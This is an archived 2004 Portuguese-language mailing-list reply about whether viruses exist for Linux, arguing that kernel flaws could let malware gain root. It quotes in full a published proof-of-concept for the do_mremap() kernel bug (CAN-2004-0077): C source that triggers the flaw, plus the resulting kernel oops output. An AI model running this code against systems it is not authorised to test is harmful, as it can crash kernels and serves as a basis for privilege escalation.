[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Re: Virus no Linux



On Fri, Mar 05, 2004 at 12:10:05AM -0300, Venicio wrote:
> Oi pessoal alguém pode me explicar a questão de virus no Linux, exite??

ao que consta, não existe nenhum registro de virus feito exclusivamente
para o Linux. Como disse o Still, há alguns worms multiplataforma.

> não exite?? caso exista, quando como e onde encontrar um anti-virus
> ideal.

ao contrário do que foi dito com relação à conta root, não é difícil
escrever um virus que, se aproveitando de uma vulnerabilidade do kernel
ou de algum aplicativo defeituoso que rode com uid=0, infecte um
sistema.

por exemplo, há alguns dias, outra vulnerabilidade foi descoberta no
kernel na syscall mremap(), que permite a criação de um exploit para
obter privilégios de kernel (=root). portanto, alguém poderia escrever
um virus que aproveitasse esta vulnerabilidade e mesmo rodando como
programa de usuário, poderia passar para root.

fonte da informação:

URL:       http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt
CVE:       CAN-2004-0077
Author:    Paul Starzetz <ihaquer@isec.pl>
Date:      February 18, 2004

abaixo, um PoC do exploit:

-------------------início do PoC com créditos --------------


This PoC exploit can be used to check if a Linux system is vulnerable
to the second do_mremap() bug; the code has only been tested on Linux
version 2.4.22 so far.


$ gcc -W -Wall mremap_poc_2.c && ./a.out
mmap: Cannot allocate memory
created ~65530 VMAs
now mremapping 0x3FFE5000 at 0x3FFE1000
Segmentation fault


$ dmesg | tail -n 16
kernel BUG at mmap.c:1194!
invalid operand: 0000
CPU:    0
EIP:    0010:[<c01239b5>]    Not tainted
EFLAGS: 00010287
eax: 3ffe2000   ebx: ce189f80   ecx: ce189f38   edx: ce189f20
esi: ce189fc4   edi: ce189f04   ebp: ce189ec0   esp: cf101f44
ds: 0018   es: 0018   ss: 0018
Process a.out (pid: 5371, stackpage=cf101000)
Stack: ce189f80 ce189fc4 ce189f04 3ffe1000 3ffe1000 c012873f cf1b66e0 c01287c7
       cf1b66e0 ce189ec0 cf100000 00001000 cf1b66fc ffff0001 cf1b66e0 00000000
       c339df1c ce189ec0 cf100000 fffffff4 ce189e60 c0128896 3ffe5000 00001000
Call Trace:    [<c012873f>] [<c01287c7>] [<c0128896>] [<c01086b3>]

Code: 0f 0b aa 04 21 f9 2d c0 8b 7c 24 10 8b 74 24 14 8b 5c 24 18


$ cat mremap_poc_2.c

/*
 *  Proof-of-concept exploit code for do_mremap() #2
 *
 *  Copyright (C) 2004  Christophe Devine
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

#include <asm/unistd.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

#define MREMAP_MAYMOVE  1
#define MREMAP_FIXED    2

#define MREMAP_FLAGS  MREMAP_MAYMOVE | MREMAP_FIXED

#define __NR_real_mremap __NR_mremap

static inline _syscall5( void *, real_mremap, void *, old_address,
                         size_t, old_size, size_t, new_size,
                         unsigned long, flags, void *, new_address );

#define VMA_SIZE 0x00003000

int main( void )
{
    int i, ret;
    void *base0;
    void *base1;

    i = 0;

    while( 1 )
    {
        i++;

        ret = (int) mmap( (void *)( i * (VMA_SIZE + 0x1000) ),
                          VMA_SIZE, PROT_READ | PROT_WRITE,
                          MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );

        if( ret == -1 )
        {
            perror( "mmap" );
            break;
        }

        base0 = base1;
        base1 = (void *) ret;
    }

    printf( "created ~%d VMAs\n", i );

    base0 += 0x1000;
    base1 += 0x1000;

    printf( "now mremapping 0x%08X at 0x%08X\n",
            (int) base1, (int) base0 );

    real_mremap( base1, 4096, 4096, MREMAP_FLAGS, base0 );

    printf( "kernel may not be vulnerable\n" );

    return( 0 );
}

 
Christophe Devine - http://www.cr0.net:8040/about/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

--------------------fim do PoC com creditos -----------------------


isto tudo é teoria, por enquanto; mas não estamos imunes por default; é
sempre preciso ser paranóico com segurança. siga a dica de ler a
linuxsecurity ou outra fonte de informação em segurança.


-- 
Mario O.de Menezes, Ph.D.    "Many are the plans in a man's heart, but
    IPEN-CNEN/SP                is the Lord's purpose that prevails"
http://www.ipen.br/~mario                  Prov. 19.21
    



Reply to: